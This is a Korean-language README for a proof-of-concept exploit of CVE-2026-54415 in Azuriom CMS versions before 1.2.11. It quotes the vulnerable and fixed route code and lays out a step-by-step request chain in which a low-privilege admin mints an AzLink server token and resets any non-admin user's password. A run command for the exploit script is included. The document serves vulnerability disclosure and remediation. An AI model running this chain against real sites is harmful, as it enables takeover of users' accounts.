
CVE-2026-54415에 대한 PoC — Azuriom CMS (<1.2.11) 취약한 접근 제어 → 계정 탈취
Azuriom CMS < 1.2.11에서 관리자 서버 관리 경로에 대한 권한 부여 누락으로 인해, admin.access 권한만 가진 낮은 권한의 관리자도 AzLink 서버 토큰을 생성하고 모든 비관리자 계정을 탈취할 수 있습니다.
| CVE | CVE-2026-54415 |
| 제품 | Azuriom CMS |
| 영향받는 버전 | < 1.2.11 |
| 수정된 버전 | 1.2.11 — 커밋 4b744bc |
| CWE | CWE-862 (Missing Authorization), CWE-269 (Improper Privilege Management) |
| CVSS 3.1 | 8.1 High — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| CVSS 4.0 | 8.6 High — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
이 PoC는 패치된 버전을 대상으로 한 방어 및 교육 목적으로 게시되었습니다. 소유하거나 명시적으로 테스트 권한을 부여받은 시스템에서만 실행하세요. Azuriom
1.2.11+로 업그레이드하세요.
✅ 로컬 Azuriom 1.2.10 인스턴스에 대해 종단 간 검증됨 — 접근 제어 우회, 토큰 생성, 비밀번호 변경 확인 및 피해자 로그인, 관리자 보호 경계.
routes/admin.php에서 전체 관리자 패널은 단일 can:admin.access 그룹에 의해 제한되며, 각 민감한 기능은 자체 세분화된 can:admin.* 미들웨어를 추가할 것으로 예상됩니다. 1.2.11 이전에는 서버 관리 경로에 이러한 미들웨어가 포함되어 있지 않았습니다:
// routes/admin.php (취약, < 1.2.11)
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
따라서 관리자 패널에 접근할 수 있는 사용자(admin.access)는 서버를 생성할 수 있습니다. admin.servers 권한은 전혀 존재하지 않았습니다 — 수정될 때까지 존재하지 않았습니다.
공급업체는 새로운 admin.servers 권한을 생성하고 경로를 그 안에 래핑했습니다:
// routes/admin.php (수정됨, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});
동일한 커밋은 이전에 누락되었던 권한 검사를 social-links 및 pages/posts.attachments 경로에도 추가했습니다.
서버를 생성하면 32자의 서버 토큰(app/Http/Controllers/Admin/ServerController.php)이 생성됩니다:
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);
해당 토큰은 AzLink API(routes/api.php)를 인증하며, VerifyServerToken 미들웨어는 유효한 Azuriom-Link-Token 헤더를 포함한 모든 요청을 신뢰합니다. AzLink는 계정 관리 엔드포인트를 노출합니다:
POST /api/azlink/password → change a user's password by game_id
POST /api/azlink/email → change a user's email by game_id
POST /api/azlink/register → create users
POST /api/azlink/user/{id}/money/{add,remove,set}
updatePassword는 대상이 isAdmin()일 때만 거부합니다 — 모든 비관리자 계정은 탈취 가능합니다:
public function updatePassword(Request $request) {
// validates game_id + password
$user = User::where('game_id', $request->input('game_id'))->firstOrFail();
if ($user->isAdmin()) { return response()->noContent(); } // only admins are protected
$user->update(['password' => $request->input('password')]);
...
}
서버 생성은 저장 전에 $server->bridge()->verifyLink()를 호출합니다. mc-azlink 유형의 경우 이는 무조건 true입니다:
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }
따라서 공격자는 더미 address를 제공하면 서버가 저장되고, 새로운 토큰은 패널 내 AzLink 설정 명령(/azlink setup <url> <token>)에 표시됩니다.
1. 낮은 권한의 관리자로 인증 (admin.access만 있음 — 존재하지 않았던 admin.servers는 없음)
2. POST /admin/servers name=x&type=mc-azlink&address=127.0.0.1 → 서버 저장, 토큰 생성
3. GET /admin/servers/{id}/edit → 설정 명령에서 토큰 읽기
4. POST /api/azlink/password (헤더 Azuriom-Link-Token: <token>) game_id=<victim>&password=<new>
5. 피해자로 로그인 → 완전한 계정 탈취
python3 poc.py \
--url https://target.example \
--admin-user lowpriv_admin --admin-pass 'password' \
--victim-game-id 1001 \
--new-password 'Pwn3d!TakenOver'
스크립트는 로그인하고, 서버 토큰을 생성하며, 이를 추출하고, AzLink를 통해 피해자의 비밀번호를 재설정한 후 토큰과 결과를 출력합니다. 모든 플래그는 poc.py --help를 참조하세요. requests가 필요합니다 (pip install requests).
1.2.11 이상으로 업그레이드하세요.admin_servers를 감사하고 예상치 못한 서버 토큰을 취소하세요.admin.access를 가지고 있는지 감사하세요.1.2.11에서 수정MIT — 승인된 보안 테스트 및 연구용으로만 사용 가능.